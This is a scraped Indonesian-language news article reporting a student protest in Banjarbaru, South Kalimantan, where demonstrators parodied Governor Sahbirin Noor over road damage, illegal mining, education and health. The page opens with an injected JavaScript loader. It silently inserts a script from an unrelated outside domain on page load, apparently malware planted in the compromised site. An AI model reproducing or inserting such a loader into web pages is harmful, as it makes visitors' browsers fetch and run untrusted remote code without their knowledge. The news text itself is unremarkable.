(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Ada yang menarik pada aksi Gerakan Kolektif Hitam Kalsel di Halaman Kantor Setda Provinsi Kalimantan Selatan, Kamis (20/10/2022). Sejumlah pendemo, memparodikan sosok Gubernur Kalsel Sahbirin Noor dengan mengenakan kacamata hitam dengan tulisan Paman Birin—panggilan Sahbirin Noor, di dadanya.
Sosok Paman Birin dalam aksi tersebut selama terus menutup telinga hingga mulut dengan lakban.
Parodi Paman Birin tersebut adalah bagian dari aksi teatrikal yang mereka gelar, sebagai wujud protes terhadap kebijakan pemerintah terkait isu yang tengah hangat diperbincangan. Mulai dari akses jalan nasianal yang terputus di KM 171 Satui, lingkungan tambang ilegal di Pegunungan Meratus, hingga isu pendidikan dan kesehatan di Kalimantan Selatan.
“Kita adalah check and balance, kita hadir ketika penguasa lalai, ketika penguasa hanya memikirkan perutnya, ketika penguasa hanya memikirkan kantongnya,” ujar Rizki Nugroho, salah satu massa aksi dari Gerakan Kolektif Hitam, Kamis (20/10/2022).
Baca juga : Aksi Mahasiswa Tabur Tanah di Kantor Gubernur Kalsel, “Paman Birin Dicari Rakyat”
Teatrikal ini ujar Rizki, menjadi simbol dari pemimpin daerah yang tidak pernah mendengarkan suara rakyat. Mereka pun turut menamburkan bunga hingga tanah tambang.
“Kita kumpulkan tanah tambang ini dan kita taburkan agar Paman Birin melihat masyarakat di Satui yang terkena dampaknya akibat dari tanah tanah longsor, akibat banjir,” imbuhnya.
Diketahui Gerakan kolektif hitam Kalsel turut membersamai aksi bertajuk “Menjemput Kedaulatan Rakyat di Rezim yang Sudah 3 Tahun Menindas Rakyatnya” yang digagas bersama oleh aliansi BEM se-Kalsel.
Baca juga : Perbaikan Jalan KM 171 Satui Ditarget Seminggu, Kepala Balai: Belum Bisa Permanen!
Kordinator Wilayah 1 BEM se-Kalsel, Yogi Ilmawan mengatakan bahwa massa telah mengultimatum para pemimpin daerah untuk dapat berhadir dalam aksi yang akan datang, dengan membawa para SKPD terkait.
“Hari ini kami mengultimatum pimpinan daerah Provinsi Kalsel untuk bisa berhadir di aksi yang akan datang dengan membawa SKPD-SKPD maupun pihak-pihak terkait. Dan kami juga meminta garansi untuk bisa didatangkan Gubernur Kalsel di masa yang akan datang,” ungkap Yogi seusai aksi berakhir. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : cell
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sebuah insiden kecelakaan lalu lintas (laka lantas) mengakibatkan seorang pemotor meninggal dunia… Read More
KANALKALIMANTAN.COM - Liburan akhir tahun keluar negeri kini semakin praktis dengan hadirnya fitur Multicurrency dari… Read More
KANALKALIMANTAN.COM, AMUNTAI - Dharma Wanita Persatuan (DWP) Kabupaten Hulu Sungai Utara (HSU) merayakan puncak Hari… Read More
KANALKALIMANTAN.COM, BANJARBARU – Menutup tahun 2024, Pemerintah Kota (Pemko) Banjarbaru di era kepemimpinan Aditya Mufti… Read More
This website uses cookies.